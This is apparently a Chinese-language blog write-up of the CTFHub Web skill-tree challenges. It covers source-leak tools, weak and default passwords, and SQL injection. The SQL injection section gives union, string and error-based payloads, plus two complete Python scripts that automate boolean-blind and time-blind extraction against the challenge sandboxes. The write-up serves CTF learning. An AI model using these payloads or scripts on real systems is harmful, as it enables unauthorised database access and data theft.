CTFHub技能树Web部分WP

发布于 2020-05-17  530 次阅读


基础

信息泄露

目录遍历

随便遍历一下,我自己是在1/4中找到了flag。。。

应该也有类似的自动遍历工具,我觉得可以用Burpsuite的Spider进行扫描,不过做出来就不管了

PHPINFO

Ctrl+F,可以在Environment的部分里面找到flag。

备份文件下载-网站源码

SourceLeakHacker直接扫描出www.zip

发现一个flag_xxxxxx(一串数字).txt的文件,网站上打开得到flag

备份文件下载-bak文件

传统艺能扫一遍

得到index.php.bak

那么里面就是flag

备份文件下载-vim缓存

传统扫描器

.index.php.swp

直接打开可得flag,或者用vim -r 恢复源文件可得

备份文件下载-.DS_Store

继续扫描

存在/.DS_Store

那么有个工具叫ds_store_exp

跑一遍,得到一个txt文件,那个文件里面有flag

Git泄露-Log

存在一个工具叫做GitHack,是BugScanTeam那个版本的

然后还原完我们来git log一下

然后git reset --hard 还原到合适的版本

然后获得flag

Git泄露-Stash

题目名是Stash,这个在git中是暂存区的意思

用上一题方法后选择git stash pop即可获得flag文件

Git泄露-Index

相同操作,可惜这次是直接放在中间了

直接拿flag

SVN泄露

用这个工具 dvcs-ripper-master

然后恢复完会在当前目录下生成.svn文件夹,进去就是恢复好的

找找flag就行了

HG泄露

上题工具带了个rip-hg,直接跑即可

找到flag名字后在网站上下载即可,在.hg/store/undo里面可以看到名字

密码口令

弱口令

试了admin888,出来了

默认口令

很迷,我百度到一个管理员手册,写的用户名密码输进去不对

百度题解得到 eyougw admin@(eyou)我也不知道为啥

不过有些题解附送了一个常见产品默认口令,挺好

SQL注入

整数型注入

首先我们发现id处存在注入

于是我们来操作一下

0 and 1=2 union select 1,database()#

得到数据库名sqli

然后我们继续注入

0 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#

得到表名news,flag

然后继续注入

0 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'#

得到列名flag

然后继续注入

0 and 1=2 union select 1,flag from flag#

获得flag

字符型注入

输入1可以查询,输入1''也可以查询,推测是SQLite数据库或者MariaDB类的

我们来注入一下

1' AND 1=2 UNION SELECT '1','2' --+'

可以正常回显,然后我们发现第二项不能回显字母,只能回显数字,所以改到第一项回显

数据库名:

1' AND 1=2 UNION SELECT database(),1 --+'

表名:

1' AND 1=2 UNION SELECT GROUP_CONCAT(table_name),1 FROM information_schema.tables WHERE table_schema='sqli' #'

为什么换成#了呢,因为--+这回不回显了,很奇怪。

列名:

1' AND 1=2 UNION SELECT GROUP_CONCAT(column_name),1 FROM information_schema.columns WHERE table_name='flag' #'

数据:

1' AND 1=2 UNION SELECT flag,1 FROM flag #'

可以得到flag

报错注入

随便输点东西就报错了

那么我们根据经验,可以有updatexml/floor/extractvalue三种思路

不过有篇文章说了更加复杂的几种形式,可以参考

注入用户:

1 and (updatexml(1,make_set(3,'#',(select user())),1));

或者

1 and (updatexml(1,export_set(2,(select user()),'#','',2),1));

这里我们没有使用concat,因为在以前的某次CTF比赛中限制了concat的使用,这里我们可以用技巧绕过

在这题的情况下,当然也可以用concat

库名:

1 and (extractvalue(1,concat('#',(select database()))));

表名:

1 and (extractvalue(1,concat('#',(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='sqli'/**/))));

列名:

1 and (extractvalue(1,concat('#',(select GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'/**/))));

数据:

1 and (extractvalue(1,concat((select flag FROM flag),0x7e)));

然而没有右括号,我们想办法操作一下,而且看起来少了点东西

image.png

我们用substr分段一下,拼起来

1 and (extractvalue(1,concat(substring((select flag FROM flag),16,50))));

image.png

Flag: ctfhub{01de09aa9b6ec7c183fb002d5e1659de143f3696}

顺便放个MariaDB命令教程

布尔盲注

根据我对这个东西的理解,应该要用到脚本,可惜我之前从来没写过这种脚本

那这回正好写一个

先说一下这题的原理吧:

我们输入(1=1),可以输出query_success;而我们输入(1=2),则会显示query_error。于是我们来写个脚本,用substr截断后判断字符是否等于一个值来依次爆破每一位。当然也可以用二分的思想来让每一位的爆破次数降低到$$\log{2}{n}$$
的级别。

我写了一个不使用二分的脚本,其实二分也挺好写的。

import sys
import requests
import string

config_html = 'http://challenge-3f816af1a84ae48b.sandbox.ctfhub.com:10080/'

config_method = 'GET'

config_key = 'id'

config_data = {
    'id' : '{0}'
}

config_length = '(char_length({0}){1})'

config_line = '({0}{1})'

config_success_flag = 'query_success'

config_failed_flag = 'query_error'

config_headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'DNT':'1',
    'Connection':'close'
}

config_data_range = string.printable

def get(url,data):
    if config_method == 'GET':
        r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
    else:
        r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
    while r.status_code != 200:
        print('[-] Retry to connect...')
        if config_method == 'GET':
            r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
        else:
            r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
    r.encoding = 'UTF-8'
    if config_success_flag in r.text:
        return True
    elif config_failed_flag in r.text:
        return False
    else:
        print('Error: method error!')
        return False

def cfg_data(par):
    data = config_data.copy()
    data[config_key] = data[config_key].format(par)
    return data

def get_length_line(cmd):
    for i in range(0,255):
        if get(url = config_html,data = cfg_data(config_length.format(cmd,'>=' + str(i)))):
            continue
        else:
            print('[+] {0} length: {1}'.format(cmd,i - 1))
            return i - 1
    print('[-] Search Length Failed...')
    return 0

def get_value_line(cmd,length):
    ret = ''
    for l in range(length):
        last = ''
        fg = False
        for i in config_data_range:
            if get(url = config_html,data = cfg_data(config_line.format(cmd,'>=' + '\'' + ret + i + '\''))):
                last = i
                continue
            else:
                fg = True
                ret += last
                last = ''
                print('[+] {0} : {1}'.format(cmd,ret))
                break
        if fg == False:
            ret += config_data_range[-1]
    return ret

def database():
    cmd = "database()"
    data_length = get_length_line(cmd)
    return get_value_line(cmd,data_length)

def table(db_name):
    cmd = "concat('',(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='{0}'))".format(db_name)
    data_length = get_length_line(cmd)
    return get_value_line(cmd,data_length)

def column(db_table):
    cmd = "concat('',(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='{0}'))".format(db_table)
    data_length = get_length_line(cmd)
    return get_value_line(cmd,data_length)

def flag(db_column,db_table):
    cmd = "concat('',(SELECT {0} FROM {1}))".format(db_column,db_table)
    data_length = get_length_line(cmd)
    return get_value_line(cmd,data_length)

if __name__ == '__main__':
    #db_name = database()
    #db_table = table('sqli')
    #db_column = column('flag')
    db_flag = flag('flag','flag')

image.png

时间盲注

跟上一题挺像,不过这次我们使用响应时间作为指标来注入。

脚本小改一下应该就差不多了。

import sys
import requests
import string
import time
import datetime

config_html = 'http://challenge-0164c5bdf9843cb1.sandbox.ctfhub.com:10080/'

config_method = 'GET'

config_key = 'id'

config_data = {
    'id' : '{0}'
}

config_time_flag = 1

config_length = '(if((char_length({0}){1}),1,sleep(1)))'

config_line = '(if(({0}{1}),1,sleep(1)))'

config_headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'DNT':'1',
    'Connection':'close'
}

config_data_range = string.printable

config_cnt = 2

def get(url,data):
    time1 = datetime.datetime.now()
    if config_method == 'GET':
        r = requests.get(url = url,params = data,headers = config_headers)
    else:
        r = requests.post(url = url,data = data,headers = config_headers)
    r.encoding = 'UTF-8'
    time2 = datetime.datetime.now()
    sec = (time2 - time1).seconds
    if sec < config_time_flag:
        return True
    elif sec >= config_time_flag:
        return False
    else:
        print('Error: method error!')
        return False

def cfg_data(par):
    data = config_data.copy()
    data[config_key] = data[config_key].format(par)
    return data

def get_length_line(cmd):
    for i in range(1,256):
        if get(url = config_html,data = cfg_data(config_length.format(cmd,'>=' + str(i)))):
            continue
        else:
            cnt = config_cnt
            flag = False
            while cnt > 0:
                cnt -= 1
                flag = get(url = config_html,data = cfg_data(config_length.format(cmd,'>=' + str(i)))) and flag
            if flag == True:
                continue
            print('[+] {0} length: {1}'.format(cmd,i - 1))
            return i - 1
    print('[-] Search Length Failed...')
    return 0

def get_value_line(cmd,length):
    ret = ''
    for l in range(length):
        last = ''
        fg = False
        for i in config_data_range:
            if get(url = config_html,data = cfg_data(config_line.format(cmd,'>=' + '\'' + ret + i + '\''))):
                last = i
                continue
            else:
                cnt = config_cnt
                flag = False
                while cnt > 0:
                    cnt -= 1
                    flag = get(url = config_html,data = cfg_data(config_line.format(cmd,'>=' + '\'' + ret + i + '\''))) and flag
                if flag == True:
                    continue
                fg = True
                ret += last
                print('[+] {0} : {1}'.format(cmd,ret))
                break
        if fg == False:
            ret += config_data_range[-1]
    return ret

def database():
    cmd = "database()"
    data_length = get_length_line(cmd)
    return get_value_line(cmd,data_length)

def table(db_name):
    cmd = "concat('',(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='{0}'))".format(db_name)
    data_length = get_length_line(cmd)
    return get_value_line(cmd,data_length)

def column(db_table):
    cmd = "concat('',(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='{0}'))".format(db_table)
    data_length = get_length_line(cmd)
    return get_value_line(cmd,data_length)

def flag(db_column,db_table):
    cmd = "concat('',(SELECT {0} FROM {1}))".format(db_column,db_table)
    data_length = get_length_line(cmd)
    return get_value_line(cmd,data_length)

if __name__ == '__main__':
    #db_name = database()
    #db_table = table('sqli')
    #db_column = column('flag')
    db_flag = flag('flag','flag')

image.png

缺点就是不是多线程,跑得慢,如果加个多线程就可以跑的很快了

MySQL结构

感觉没啥新意。。。

库名sqli

payload:

1 AND 1=2 UNION SELECT 1,database()

表名anxfdpozsy

payload:

1 AND 1=2 UNION SELECT 1,concat('',(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='sqli'))

列名yuzghgonnt

payload:

1 AND 1=2 UNION SELECT 1,concat('',(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='anxfdpozsy'))

ctfhub{80b6b686e4237af78424eb151cc1d4e9c46e4fc3}

payload:

1 AND 1=2 UNION SELECT 1,yuzghgonnt FROM anxfdpozsy

Cookie注入

老套的操作,只是注入点在Cookie里面

为了方便操作,我写了个脚本,可以进行奇特的交互

XSS

文件上传

RCE

进阶

JSON Web Token

敏感信息泄露

It is my final heart.
最后更新于 2020-05-17